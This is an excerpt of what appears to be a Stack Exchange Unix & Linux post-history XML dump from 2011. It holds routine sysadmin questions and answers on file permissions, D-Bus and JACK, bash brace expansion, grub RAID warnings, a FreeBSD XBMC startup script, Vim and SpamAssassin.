  <row Id="19576" PostHistoryTypeId="2" PostId="8324" RevisionGUID="e4ae8620-b341-4550-8aff-3a51be0ff4dd" CreationDate="2011-02-28T05:11:47.900" UserId="4069" Text="A few days ago i installed a new linux os. Today i realize /root has o+r (755) so EVERYONE is able to see my root sql password in /root/.my.cnf. I freaked out and simply changed /root to 750.&#xD;&#xA;&#xD;&#xA;My /var/www folder is 2755 but all the folders in it are 2750 (so certain users can browse to the folder without being blind). What software, file permissions and other DEFAULT configuration should i change?&#xD;&#xA;" />
  <row Id="19577" PostHistoryTypeId="1" PostId="8324" RevisionGUID="e4ae8620-b341-4550-8aff-3a51be0ff4dd" CreationDate="2011-02-28T05:11:47.900" UserId="4069" Text="default configuration i need to change?" />
  <row Id="19578" PostHistoryTypeId="3" PostId="8324" RevisionGUID="e4ae8620-b341-4550-8aff-3a51be0ff4dd" CreationDate="2011-02-28T05:11:47.900" UserId="4069" Text="ésecurityàédefaultsà" />
  <row Id="19579" PostHistoryTypeId="25" PostId="8273" RevisionGUID="faa556f4-9805-4730-87e8-96fa09ea6bb2" CreationDate="2011-02-28T05:23:30.743" Comment="http://twitter.com/#!/StackUnix/status/42092507986800640" />
  <row Id="19580" PostHistoryTypeId="2" PostId="8325" RevisionGUID="7e5d63de-76bc-4f8b-9fd9-d14a38d7ae91" CreationDate="2011-02-28T05:53:33.480" UserId="1655" Text="I have the Jack Audio Connection Kit (JACK) installed, but cannot seem to get `jack_control start` to start the service.&#xD;&#xA;&#xD;&#xA;I'm using Slackware64-current, which recently updated its `/etc/dbus-1/system.conf` to have a more restrictive configuration:&#xD;&#xA;&#xD;&#xA;    &lt;!-- ... --&gt;&#xD;&#xA;    &lt;policy context=&quot;default&quot;&gt;&#xD;&#xA;      &lt;!-- All users can connect to system bus --&gt;&#xD;&#xA;      &lt;allow user=&quot;*&quot;/&gt;&#xD;&#xA;  &#xD;&#xA;      &lt;!-- Holes must be punched in service configuration files for&#xD;&#xA;           name ownership and sending method calls --&gt;&#xD;&#xA;      &lt;deny own=&quot;*&quot;/&gt;&#xD;&#xA;      &lt;deny send_type=&quot;method_call&quot;/&gt;&#xD;&#xA;  &#xD;&#xA;      &lt;!-- Signals and reply messages (method returns, errors) are allowed&#xD;&#xA;           by default --&gt;&#xD;&#xA;      &lt;allow send_type=&quot;signal&quot;/&gt;&#xD;&#xA;      &lt;allow send_requested_reply=&quot;true&quot; send_type=&quot;method_return&quot;/&gt;&#xD;&#xA;      &lt;allow send_requested_reply=&quot;true&quot; send_type=&quot;error&quot;/&gt;&#xD;&#xA;  &#xD;&#xA;      &lt;!-- All messages may be received by default --&gt;&#xD;&#xA;      &lt;allow receive_type=&quot;method_call&quot;/&gt;&#xD;&#xA;      &lt;allow receive_type=&quot;method_return&quot;/&gt;&#xD;&#xA;      &lt;allow receive_type=&quot;error&quot;/&gt;&#xD;&#xA;      &lt;allow receive_type=&quot;signal&quot;/&gt;&#xD;&#xA;  &#xD;&#xA;      &lt;!-- Allow anyone to talk to the message bus --&gt;&#xD;&#xA;      &lt;allow send_destination=&quot;org.freedesktop.DBus&quot;/&gt;&#xD;&#xA;      &lt;!-- But disallow some specific bus services --&gt;&#xD;&#xA;      &lt;deny send_destination=&quot;org.freedesktop.DBus&quot;&#xD;&#xA;            send_interface=&quot;org.freedesktop.DBus&quot;&#xD;&#xA;            send_member=&quot;UpdateActivationEnvironment&quot;/&gt;&#xD;&#xA;    &lt;/policy&gt;&#xD;&#xA;&#xD;&#xA;Ever since the update, running `jack_control start` as a regular user produces the following error:&#xD;&#xA;&#xD;&#xA;    --- start&#xD;&#xA;    DBus exception: org.jackaudio.Error.Generic: failed to activate&#xD;&#xA;    dbusapi jack client. error is -1&#xD;&#xA;&#xD;&#xA;It did not do this before. The new configuration file says I'm supposed to punch a hole for it in the service configuration files, but I'm baffled as to how I'm supposed to do that. I'm not even quite sure what DBUS has to do with JACK.&#xD;&#xA;&#xD;&#xA;If you could please help me by giving me a little background information or lending me your expertise regarding configuration of DBUS, I would be most grateful.&#xD;&#xA;&#xD;&#xA;Extra information:&#xD;&#xA;&#xD;&#xA;* JACK2 SVN revision 4120 (2011-02-09)&#xD;&#xA;* DBUS version 1.4.1&#xD;&#xA;* DBUS-Python version 0.83.1" />
  <row Id="19581" PostHistoryTypeId="1" PostId="8325" RevisionGUID="7e5d63de-76bc-4f8b-9fd9-d14a38d7ae91" CreationDate="2011-02-28T05:53:33.480" UserId="1655" Text="Help configuring DBUS to start JACK" />
  <row Id="19582" PostHistoryTypeId="3" PostId="8325" RevisionGUID="7e5d63de-76bc-4f8b-9fd9-d14a38d7ae91" CreationDate="2011-02-28T05:53:33.480" UserId="1655" Text="éconfigurationàéjackàédbusà" />
  <row Id="19583" PostHistoryTypeId="2" PostId="8326" RevisionGUID="2424f90e-0b99-489b-a204-d41e46f84d97" CreationDate="2011-02-28T06:10:08.830" UserId="2343" Text="In this example I refer to the expansion of a sequence of integers, but perhaps(?) the limits would be relevant to all aspects of brace expansion.. This more general view is also of interest to me.  &#xD;&#xA;&#xD;&#xA;`seq` seems to handle much longer integer sequences than does {1..n} brace expansion (at least, that's the case in this example).  &#xD;&#xA;&#xD;&#xA;eg 'seq -f @%12.0f 1 1000000000 &gt;/dev/null' .. This expands 1 billion quite happily in 14m 04s  &#xD;&#xA;&#xD;&#xA;However, `echo {1..10000000000} &gt;/dev/null` crashes into oblivion from the CLI in 'gnome-terminal' and 'konsole' (...goodbye terminal session!)        &#xD;&#xA;&#xD;&#xA;The best I could get out of brace expansion for an integer sequence, is approximately {1..15000000}.. only 15 million.    &#xD;&#xA;&#xD;&#xA;Is this a limitation of the brace expansion itself, or of how `echo` handles the expanded data? &#xD;&#xA;It seems to be caused by using up all available RAM, but I thought it would use the `swap` area at that point...&#xD;&#xA;&#xD;&#xA;Also (btw), this 15000000 integer sequence,  `echo {..}` takes 57.0s; whereas `seq` takes only 12.7s ...  &#xD;&#xA;" />
  <row Id="19584" PostHistoryTypeId="1" PostId="8326" RevisionGUID="2424f90e-0b99-489b-a204-d41e46f84d97" CreationDate="2011-02-28T06:10:08.830" UserId="2343" Text="What governs the limits of shell brace expansion?" />
  <row Id="19585" PostHistoryTypeId="3" PostId="8326" RevisionGUID="2424f90e-0b99-489b-a204-d41e46f84d97" CreationDate="2011-02-28T06:10:08.830" UserId="2343" Text="ébashàéshellàétextöprocessingàémemoryà" />
  <row Id="19586" PostHistoryTypeId="2" PostId="8327" RevisionGUID="6ea4389c-5952-4e1d-b7dc-cc57493736ac" CreationDate="2011-02-28T06:53:57.397" UserId="1946" Text="I guess this expansion is not designed to be used that way.  The crash indicates a bug, surely, but rarely triggered one.&#xD;&#xA;&#xD;&#xA;How practical do you think is it to feed billion of consecutive integers to anything?&#xD;&#xA;" />
  <row Id="19587" PostHistoryTypeId="25" PostId="8324" RevisionGUID="a9539c36-8d68-41bf-aacd-bc9c7ad34b20" CreationDate="2011-02-28T08:23:31.633" Comment="http://twitter.com/#!/StackUnix/status/42137810261643264" />
  <row Id="19588" PostHistoryTypeId="2" PostId="8328" RevisionGUID="44e2d3f0-e047-427a-885b-9f77e68c994b" CreationDate="2011-02-28T09:53:06.623" UserId="5197" Text="`echo {1..5}` is expanded into the command `echo 1 2 3 4 5` which is then expanded in the usual way.  It is not at all similar to `seq -f 1 1000000000 &gt;/dev/null`, which never expands to a command with very many arguments.&#xD;&#xA;&#xD;&#xA;It is more like `echo $(seq 1 1000000000)$`: I guess this breaks in the same way?&#xD;&#xA;&#xD;&#xA;The problem you are running into is to do with handling large commands, which Unix has always been fussy about, which is to say it is a general problem with handling command strings.  It is one of the things Perl was written to fix.&#xD;&#xA;&#xD;&#xA;I'd file a polite and informative bug report anyway: it might provoke an interesting discussion." />
  <row Id="19589" PostHistoryTypeId="12" PostId="8325" RevisionGUID="ac444ef7-981f-413f-8770-065a34e66a53" CreationDate="2011-02-28T10:38:34.820" UserId="1655" Text="[{&quot;Id&quot;:1655,&quot;DisplayName&quot;:&quot;amphetamachine&quot;}]" />
  <row Id="19590" PostHistoryTypeId="13" PostId="8325" RevisionGUID="1b67d55f-a82e-4d6f-9f42-b72c5546e9be" CreationDate="2011-02-28T10:38:39.250" UserId="1655" Text="[{&quot;Id&quot;:1655,&quot;DisplayName&quot;:&quot;amphetamachine&quot;}]" />
  <row Id="19591" PostHistoryTypeId="2" PostId="8329" RevisionGUID="038f4330-f551-4616-9bed-6b9e4db88c25" CreationDate="2011-02-28T11:11:25.650" UserId="5193" Text="Hi,&#xD;&#xA;&#xD;&#xA;first let me explain: My system (wheezy/sid: 2.6.32-5-amd64 #1 SMP x86_64 GNU/Linux) is running fine - I'm just wondering on these messages...&#xD;&#xA;I have two mdraid-arrays running up on my system - see `cat /proc/mdstat`&#xD;&#xA;&#xD;&#xA;    Personalities : [raid1] [raid6] [raid5] [raid4] &#xD;&#xA;    md1 : active (auto-read-only) raid5 sda3[0] sdc3[3] sdb3[1]&#xD;&#xA;          823103488 blocks super 1.2 level 5, 512k chunk, algorithm 2 [3/3] [UUU]&#xD;&#xA;          &#xD;&#xA;    md0 : active raid1 sda2[0] sdc2[2](S) sdb2[1]&#xD;&#xA;          72628769 blocks super 1.2 [2/2] [UU]&#xD;&#xA;&#xD;&#xA;I use `/dev/md0` as `/` and `/dev/md1` as `/home`.&#xD;&#xA;Whenever `update-grup` is running - or while grub comes up, I receive the error:&#xD;&#xA;`error: superfluous RAID member (2 found).`.&#xD;&#xA;&#xD;&#xA;To understand, why I'd like to remove this, have a look at the result of `update-grub`:&#xD;&#xA;&#xD;&#xA;    error: superfluous RAID member (2 found).&#xD;&#xA;    error: superfluous RAID member (2 found).&#xD;&#xA;    Generating grub.cfg ...&#xD;&#xA;    error: superfluous RAID member (2 found).&#xD;&#xA;    error: superfluous RAID member (2 found).&#xD;&#xA;    error: superfluous RAID member (2 found).&#xD;&#xA;    error: superfluous RAID member (2 found).&#xD;&#xA;    error: superfluous RAID member (2 found).&#xD;&#xA;    error: superfluous RAID member (2 found).&#xD;&#xA;    error: superfluous RAID member (2 found).&#xD;&#xA;    error: superfluous RAID member (2 found).&#xD;&#xA;    error: superfluous RAID member (2 found).&#xD;&#xA;    error: superfluous RAID member (2 found).&#xD;&#xA;    error: superfluous RAID member (2 found).&#xD;&#xA;    error: superfluous RAID member (2 found).&#xD;&#xA;    error: superfluous RAID member (2 found).&#xD;&#xA;    error: superfluous RAID member (2 found).&#xD;&#xA;    error: superfluous RAID member (2 found).&#xD;&#xA;    Found background image: /usr/share/images/desktop-base/desktop-grub.png&#xD;&#xA;    error: superfluous RAID member (2 found).&#xD;&#xA;    Found linux image: /boot/vmlinuz-2.6.32-5-amd64&#xD;&#xA;    Found initrd image: /boot/initrd.img-2.6.32-5-amd64&#xD;&#xA;    error: superfluous RAID member (2 found).&#xD;&#xA;    error: superfluous RAID member (2 found).&#xD;&#xA;    error: superfluous RAID member (2 found).&#xD;&#xA;    error: superfluous RAID member (2 found).&#xD;&#xA;    error: superfluous RAID member (2 found).&#xD;&#xA;      No volume groups found&#xD;&#xA;    done&#xD;&#xA;&#xD;&#xA;I'm interested in removing this messages.&#xD;&#xA;Thanks in advance and greets.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" />
  <row Id="19592" PostHistoryTypeId="1" PostId="8329" RevisionGUID="038f4330-f551-4616-9bed-6b9e4db88c25" CreationDate="2011-02-28T11:11:25.650" UserId="5193" Text="grub error &quot;superfluous RAID member&quot; on update-grub" />
  <row Id="19593" PostHistoryTypeId="3" PostId="8329" RevisionGUID="038f4330-f551-4616-9bed-6b9e4db88c25" CreationDate="2011-02-28T11:11:25.650" UserId="5193" Text="édebianàégrub2àémdadmàétestingà" />
  <row Id="19594" PostHistoryTypeId="25" PostId="8326" RevisionGUID="c9bdb242-0b23-42a2-8b53-08d3f1adf340" CreationDate="2011-02-28T11:23:32.053" Comment="http://twitter.com/#!/StackUnix/status/42183110405660672" />
  <row Id="19595" PostHistoryTypeId="2" PostId="8330" RevisionGUID="76993913-2a04-4c5c-9e4c-c2846f61bbbe" CreationDate="2011-02-28T11:35:22.760" UserId="4595" Text="This is a [bug][1] on the update-grub script. After what is said in the Debian bug report, a patch has been applied upstream so it should be fixed in the Debian package at some time.&#xD;&#xA;&#xD;&#xA;  [1]: http://bugs.debian.org/cgi-bin/bugreport.cgi?bug=610184" />
  <row Id="19596" PostHistoryTypeId="2" PostId="8331" RevisionGUID="13d97cea-2cc2-4718-989d-6ee67cac55c8" CreationDate="2011-02-28T11:55:12.267" UserId="5167" Text="I am attempting to build a FreeBSD + XBMC based media box.  Everything is all working fine except for one point.&#xD;&#xA;&#xD;&#xA;I need to boot XBMC as an RCNG startup script, which is all fine, except:&#xD;&#xA;&#xD;&#xA;If the command to start X and XBMC is run in the foreground all works fine.  If it is pushed to the background (with &amp;) it starts to work then is kicked out (I think) by getty starting.&#xD;&#xA;&#xD;&#xA;Is there some way of stopping getty from killing X, or am I barking up completely the wrong tree?&#xD;&#xA;&#xD;&#xA;#rcng script:#&#xD;&#xA;&#xD;&#xA;    #!/bin/sh&#xD;&#xA;    #&#xD;&#xA;    # $FreeBSD$&#xD;&#xA;    #&#xD;&#xA;    # PROVIDE: xbmc&#xD;&#xA;    # REQUIRE: sshd&#xD;&#xA;    # KEYWORD: shutdown&#xD;&#xA;    #&#xD;&#xA;    # Add the following line to /etc/rc.conf to enable xbmc:&#xD;&#xA;    #&#xD;&#xA;    # xbmc_enable=&quot;YES&quot;&#xD;&#xA;    #&#xD;&#xA;    # You will also need to fill in the xbmc_flags=&quot;&quot; variable to suit your configuration.&#xD;&#xA;    #&#xD;&#xA;    &#xD;&#xA;    xbmc_enable=${xbmc_enable:-&quot;NO&quot;}&#xD;&#xA;    xbmc_flags=${xbmc_flags:-&quot;&quot;}&#xD;&#xA;    &#xD;&#xA;    . /etc/rc.subr&#xD;&#xA;    &#xD;&#xA;    name=xbmc&#xD;&#xA;    rcvar=`set_rcvar`&#xD;&#xA;    #required_files=&quot;/usr/local/etc/xbmc.conf&quot;&#xD;&#xA;    &#xD;&#xA;    xbmc_start() {&#xD;&#xA;            PATH=/bin:/usr/bin:/usr/local/bin:/sbin:/usr/sbin:/usr/local/sbin&#xD;&#xA;            HOME=/root&#xD;&#xA;            /usr/local/bin/xinit /usr/local/bin/xbmc       # adding &amp; makes it all fail&#xD;&#xA;    }&#xD;&#xA;    &#xD;&#xA;    start_cmd=xbmc_start&#xD;&#xA;    &#xD;&#xA;    #command=/usr/local/bin/xbmcboot&#xD;&#xA;    &#xD;&#xA;    load_rc_config $name&#xD;&#xA;    run_rc_command &quot;$1&quot;&#xD;&#xA;&#xD;&#xA;" />
  <row Id="19597" PostHistoryTypeId="1" PostId="8331" RevisionGUID="13d97cea-2cc2-4718-989d-6ee67cac55c8" CreationDate="2011-02-28T11:55:12.267" UserId="5167" Text="Custom X application RCNG startup script woes" />
  <row Id="19598" PostHistoryTypeId="3" PostId="8331" RevisionGUID="13d97cea-2cc2-4718-989d-6ee67cac55c8" CreationDate="2011-02-28T11:55:12.267" UserId="5167" Text="éxorgàéfreebsdàéxbmcà" />
  <row Id="19599" PostHistoryTypeId="5" PostId="8331" RevisionGUID="ef1344ae-0350-4acd-8032-e29a107dd1a4" CreationDate="2011-02-28T12:09:17.920" UserId="5167" Comment="added 246 characters in body" Text="I am attempting to build a FreeBSD + XBMC based media box.  Everything is all working fine except for one point.&#xD;&#xA;&#xD;&#xA;I need to boot XBMC as an RCNG startup script, which is all fine, except:&#xD;&#xA;&#xD;&#xA;If the command to start X and XBMC is run in the foreground all works fine.  If it is pushed to the background (with &amp;) it starts to work then is kicked out (I think) by getty starting.&#xD;&#xA;&#xD;&#xA;Is there some way of stopping getty from killing X, or am I barking up completely the wrong tree?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;----------&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;#rcng script:#&#xD;&#xA;&#xD;&#xA;    #!/bin/sh&#xD;&#xA;    #&#xD;&#xA;    # $FreeBSD$&#xD;&#xA;    #&#xD;&#xA;    # PROVIDE: xbmc&#xD;&#xA;    # REQUIRE: sshd&#xD;&#xA;    # KEYWORD: shutdown&#xD;&#xA;    #&#xD;&#xA;    # Add the following line to /etc/rc.conf to enable xbmc:&#xD;&#xA;    #&#xD;&#xA;    # xbmc_enable=&quot;YES&quot;&#xD;&#xA;    #&#xD;&#xA;    # You will also need to fill in the xbmc_flags=&quot;&quot; variable to suit your configuration.&#xD;&#xA;    #&#xD;&#xA;    &#xD;&#xA;    xbmc_enable=${xbmc_enable:-&quot;NO&quot;}&#xD;&#xA;    xbmc_flags=${xbmc_flags:-&quot;&quot;}&#xD;&#xA;    &#xD;&#xA;    . /etc/rc.subr&#xD;&#xA;    &#xD;&#xA;    name=xbmc&#xD;&#xA;    rcvar=`set_rcvar`&#xD;&#xA;    #required_files=&quot;/usr/local/etc/xbmc.conf&quot;&#xD;&#xA;    &#xD;&#xA;    xbmc_start() {&#xD;&#xA;            PATH=/bin:/usr/bin:/usr/local/bin:/sbin:/usr/sbin:/usr/local/sbin&#xD;&#xA;            HOME=/root&#xD;&#xA;            /usr/local/bin/xinit /usr/local/bin/xbmc       # adding &amp; makes it all fail&#xD;&#xA;    }&#xD;&#xA;    &#xD;&#xA;    start_cmd=xbmc_start&#xD;&#xA;    &#xD;&#xA;    #command=/usr/local/bin/xbmcboot&#xD;&#xA;    &#xD;&#xA;    load_rc_config $name&#xD;&#xA;    run_rc_command &quot;$1&quot;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;----------&#xD;&#xA;&#xD;&#xA;One more note - when it does kick it out the screen is screwed.  It shows me the first bit of the X.Org startup messages and that's all.  No login, no control over it, no ability to start X again even remotely.&#xD;&#xA;" />
  <row Id="19600" PostHistoryTypeId="5" PostId="8331" RevisionGUID="ec5a7294-2634-4313-a4b6-f47169163853" CreationDate="2011-02-28T12:42:33.397" UserId="5167" Comment="added 243 characters in body" Text="I am attempting to build a FreeBSD + XBMC based media box.  Everything is all working fine except for one point.&#xD;&#xA;&#xD;&#xA;I need to boot XBMC as an RCNG startup script, which is all fine, except:&#xD;&#xA;&#xD;&#xA;If the command to start X and XBMC is run in the foreground all works fine.  If it is pushed to the background (with &amp;) it starts to work then is kicked out (I think) by getty starting.&#xD;&#xA;&#xD;&#xA;Is there some way of stopping getty from killing X, or am I barking up completely the wrong tree?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;----------&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;#rcng script:#&#xD;&#xA;&#xD;&#xA;    #!/bin/sh&#xD;&#xA;    #&#xD;&#xA;    # $FreeBSD$&#xD;&#xA;    #&#xD;&#xA;    # PROVIDE: xbmc&#xD;&#xA;    # REQUIRE: sshd&#xD;&#xA;    # KEYWORD: shutdown&#xD;&#xA;    #&#xD;&#xA;    # Add the following line to /etc/rc.conf to enable xbmc:&#xD;&#xA;    #&#xD;&#xA;    # xbmc_enable=&quot;YES&quot;&#xD;&#xA;    #&#xD;&#xA;    # You will also need to fill in the xbmc_flags=&quot;&quot; variable to suit your configuration.&#xD;&#xA;    #&#xD;&#xA;    &#xD;&#xA;    xbmc_enable=${xbmc_enable:-&quot;NO&quot;}&#xD;&#xA;    xbmc_flags=${xbmc_flags:-&quot;&quot;}&#xD;&#xA;    &#xD;&#xA;    . /etc/rc.subr&#xD;&#xA;    &#xD;&#xA;    name=xbmc&#xD;&#xA;    rcvar=`set_rcvar`&#xD;&#xA;    #required_files=&quot;/usr/local/etc/xbmc.conf&quot;&#xD;&#xA;    &#xD;&#xA;    xbmc_start() {&#xD;&#xA;            PATH=/bin:/usr/bin:/usr/local/bin:/sbin:/usr/sbin:/usr/local/sbin&#xD;&#xA;            HOME=/root&#xD;&#xA;            /usr/local/bin/xinit /usr/local/bin/xbmc       # adding &amp; makes it all fail&#xD;&#xA;    }&#xD;&#xA;    &#xD;&#xA;    start_cmd=xbmc_start&#xD;&#xA;    &#xD;&#xA;    #command=/usr/local/bin/xbmcboot&#xD;&#xA;    &#xD;&#xA;    load_rc_config $name&#xD;&#xA;    run_rc_command &quot;$1&quot;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;----------&#xD;&#xA;&#xD;&#xA;One more note - when it does kick it out the screen is screwed.  It shows me the first bit of the X.Org startup messages and that's all.  No login, no control over it, no ability to start X again even remotely.&#xD;&#xA;&#xD;&#xA;----------&#xD;&#xA;&#xD;&#xA;I have now turned off ttyv2 and upwards in the /etc/ttys - it has stopped the screen from locking up when it kicks out Xorg (gives me a normal getty prompt), but it still kicks it out.  So it's deffinately getty / init related." />
  <row Id="19601" PostHistoryTypeId="5" PostId="8331" RevisionGUID="621c234f-4c9d-40c2-9074-5e436c951cf0" CreationDate="2011-02-28T12:51:04.310" UserId="5167" Comment="added 393 characters in body" Text="I am attempting to build a FreeBSD + XBMC based media box.  Everything is all working fine except for one point.&#xD;&#xA;&#xD;&#xA;I need to boot XBMC as an RCNG startup script, which is all fine, except:&#xD;&#xA;&#xD;&#xA;If the command to start X and XBMC is run in the foreground all works fine.  If it is pushed to the background (with &amp;) it starts to work then is kicked out (I think) by getty starting.&#xD;&#xA;&#xD;&#xA;Is there some way of stopping getty from killing X, or am I barking up completely the wrong tree?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;----------&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;#rcng script:#&#xD;&#xA;&#xD;&#xA;    #!/bin/sh&#xD;&#xA;    #&#xD;&#xA;    # $FreeBSD$&#xD;&#xA;    #&#xD;&#xA;    # PROVIDE: xbmc&#xD;&#xA;    # REQUIRE: sshd&#xD;&#xA;    # KEYWORD: shutdown&#xD;&#xA;    #&#xD;&#xA;    # Add the following line to /etc/rc.conf to enable xbmc:&#xD;&#xA;    #&#xD;&#xA;    # xbmc_enable=&quot;YES&quot;&#xD;&#xA;    #&#xD;&#xA;    # You will also need to fill in the xbmc_flags=&quot;&quot; variable to suit your configuration.&#xD;&#xA;    #&#xD;&#xA;    &#xD;&#xA;    xbmc_enable=${xbmc_enable:-&quot;NO&quot;}&#xD;&#xA;    xbmc_flags=${xbmc_flags:-&quot;&quot;}&#xD;&#xA;    &#xD;&#xA;    . /etc/rc.subr&#xD;&#xA;    &#xD;&#xA;    name=xbmc&#xD;&#xA;    rcvar=`set_rcvar`&#xD;&#xA;    #required_files=&quot;/usr/local/etc/xbmc.conf&quot;&#xD;&#xA;    &#xD;&#xA;    xbmc_start() {&#xD;&#xA;            PATH=/bin:/usr/bin:/usr/local/bin:/sbin:/usr/sbin:/usr/local/sbin&#xD;&#xA;            HOME=/root&#xD;&#xA;            /usr/local/bin/xinit /usr/local/bin/xbmc       # adding &amp; makes it all fail&#xD;&#xA;    }&#xD;&#xA;    &#xD;&#xA;    start_cmd=xbmc_start&#xD;&#xA;    &#xD;&#xA;    #command=/usr/local/bin/xbmcboot&#xD;&#xA;    &#xD;&#xA;    load_rc_config $name&#xD;&#xA;    run_rc_command &quot;$1&quot;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;----------&#xD;&#xA;&#xD;&#xA;One more note - when it does kick it out the screen is screwed.  It shows me the first bit of the X.Org startup messages and that's all.  No login, no control over it, no ability to start X again even remotely.&#xD;&#xA;&#xD;&#xA;----------&#xD;&#xA;&#xD;&#xA;I have now turned off ttyv2 and upwards in the /etc/ttys - it has stopped the screen from locking up when it kicks out Xorg (gives me a normal getty prompt), but it still kicks it out.  So it's deffinately getty / init related.&#xD;&#xA;&#xD;&#xA;----------&#xD;&#xA;&#xD;&#xA;Ok, I am 100% convinced it's to do with getty starting up.  If I put the commands to start the x session in a script with a _sleep 5_ in it so the X session doesn't actually start until after getty has started running it all works fine.&#xD;&#xA;&#xD;&#xA;While I can live with this for now, it would be nice to understand why it behaves like this and maybe get it to start up more friendly." />
  <row Id="19602" PostHistoryTypeId="2" PostId="8332" RevisionGUID="2cbd2828-36c8-4a30-a8eb-4516b4354dfe" CreationDate="2011-02-28T13:05:57.217" UserId="728" Text="The files are not stored on disk, but they are hooks to the kernel.&#xD;&#xA;&#xD;&#xA;When you open a file (using `fopen()`), the kernel handles this job. It walks through the mountpoints, finds the apropriate driver to handle the request, and hands the task to that driver.&#xD;&#xA;&#xD;&#xA;In the case of `/proc`, the file read request is passed to the internal &quot;proc&quot; system in the kernel. At the moment you read the file, it returns the value from memory.&#xD;&#xA;&#xD;&#xA;A similar pattern also happens with the files in `/dev`. The kernel sees you open a dev-node with a certain device ID, and associates the IO stream with a particular driver that handles the request.&#xD;&#xA;&#xD;&#xA;&gt; Basically I would like to constantly get updated values from meminfo and cpuinfo.&#xD;&#xA;&#xD;&#xA;You can read the proc filesystem to read these values, or see if there are maybe other syscalls you can use for it. It will be a polling mechanism nevertheless, so there is always a certain system load involved." />
  <row Id="19603" PostHistoryTypeId="5" PostId="8317" RevisionGUID="6e2f438c-f38e-480f-847a-c8d6fa4b9c25" CreationDate="2011-02-28T13:29:46.437" UserId="3635" Comment="added 130 characters in body" Text="A computer may have two (or more) operating systems installed on it; dual-booting allows one to be chosen during the boot process." />
  <row Id="19604" PostHistoryTypeId="24" PostId="8317" RevisionGUID="6e2f438c-f38e-480f-847a-c8d6fa4b9c25" CreationDate="2011-02-28T13:29:46.437" Comment="Proposed by 3635 approved by 29 edit id of 166" />
  <row Id="19605" PostHistoryTypeId="25" PostId="8331" RevisionGUID="29f3b3cd-2442-424e-9e5f-25ddd7582e1e" CreationDate="2011-02-28T14:23:32.490" Comment="http://twitter.com/#!/StackUnix/status/42228411116158976" />
  <row Id="19606" PostHistoryTypeId="2" PostId="8333" RevisionGUID="044e3028-9814-484d-97e5-883a948bed5f" CreationDate="2011-02-28T14:30:38.547" UserId="4856" Text="Hello all,&#xD;&#xA;&#xD;&#xA;I am having this annoying issue with Vim. I like the fact that I can be editing a file and then type :make to automatically execute a Makefile in the same directory. However, Vim is changing my directory after it is executed. For example, if my source file is /some/dir/source.c and it needs to be compiled in /some/dir/library/, my makefile first copies the file to the library folder and then executes another makefile.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;    move_files:&#xD;&#xA;        cp /some/dir/source.c /some/dir/library/&#xD;&#xA;        pushd /some/dir/libary/; make &amp;&amp; su -c &quot;make install&quot;; popd&#xD;&#xA;&#xD;&#xA;The problem happens after compilation finishes. If I launch vim as 'vim /some/dir/source.c' and then use :make, when the compile finishes I am looking at '/some/dir/libary/source.c'. I would like to be looking at the file in the original location.&#xD;&#xA;&#xD;&#xA;Does this make sense? What can I do to disable this behavior?&#xD;&#xA;&#xD;&#xA;Thanks!&#xD;&#xA;&#xD;&#xA;" />
  <row Id="19607" PostHistoryTypeId="1" PostId="8333" RevisionGUID="044e3028-9814-484d-97e5-883a948bed5f" CreationDate="2011-02-28T14:30:38.547" UserId="4856" Text="How to stop Vim from changing my directory when executing a makefile?" />
  <row Id="19608" PostHistoryTypeId="3" PostId="8333" RevisionGUID="044e3028-9814-484d-97e5-883a948bed5f" CreationDate="2011-02-28T14:30:38.547" UserId="4856" Text="évimàévià" />
  <row Id="19610" PostHistoryTypeId="2" PostId="8335" RevisionGUID="07200078-bd8f-4747-8f7f-e18b8f65037f" CreationDate="2011-02-28T16:02:54.107" UserId="2511" Text="I haven't been here long, so I wasn't going to nominate myself, but I notice we have a shortage of candidates, so I will put myself forward after all.&#xD;&#xA;&#xD;&#xA;I'm active on several Stack Exchange sites, including this one, [Server Fault][1], and the [photography site][2]. I haven't hit 2000 yet here, but will soon. I think my contribution here has been valuable and will continue to be.&#xD;&#xA;&#xD;&#xA;I'd like to see this site develop into the best place for all Unix and Linux questions, and particular to handle the not-large-sysadmin-environment questions that often hit Server Fault. It's great so far, but a little small — there's not many high-reputation users yet, and hopefully we can attract more experts. I'd like to use a light touch on editing and moderating, with more of a focus on categorization and linking of similar concepts. I'd also like to see the tag wikis become helpful jumping-off points for common topics.&#xD;&#xA;&#xD;&#xA;I've personally been using Linux and Unix professionally since 1995, and have a Linux-related sysadmin/systems architect job supporting academia. I generally know my stuff, but am very happy to learn something new and to be corrected when I'm wrong.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://serverfault.com/&#xD;&#xA;  [2]: http://photo.stackexchange.com/" />
  <row Id="19611" PostHistoryTypeId="2" PostId="8336" RevisionGUID="e523e8d7-0964-4200-a0fa-518779ca2859" CreationDate="2011-02-28T16:28:29.623" UserId="5204" Text="I am getting bald with this guys:&#xD;&#xA;&#xD;&#xA;On a Linux VPS (CentOS), I have setup a mail server (Exim+Dovecot+Clamav+SpamAssassin) but scanning mail for spam using SpamAssassin is proving to be a challenge.&#xD;&#xA;I am not a Linux expert, especially when it comes to challenges associated with VPS, but I can pretty much RTFM and succeed. This one is beating me:&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;On my FreeBSD servers, I can easily get the desired results:&#xD;&#xA;&#xD;&#xA;(15:59:00 &lt;~&gt;) 0 $ sockstat -l | grep 783&#xD;&#xA;root     perl       83997 5  tcp4   127.0.0.1:783         *:*&#xD;&#xA;root     perl       83996 5  tcp4   127.0.0.1:783         *:*&#xD;&#xA;root     perl       10281 5  tcp4   127.0.0.1:783         *:*&#xD;&#xA;&#xD;&#xA;(15:57:21 &lt;~&gt;) 0 $ telnet 127.0.0.1 783&#xD;&#xA;Trying 127.0.0.1...&#xD;&#xA;Connected to localhost.&#xD;&#xA;Escape character is '^]'.&#xD;&#xA;CONT&#xD;&#xA;SPAMD/1.0 76 Bad header line: CONT&#xD;&#xA;Connection closed by foreign host.`&#xD;&#xA;&#xD;&#xA;However, on the Linux VPS when I run the same test, it just hangs there ... nothing responds on the port, even though I can see spamd listening on 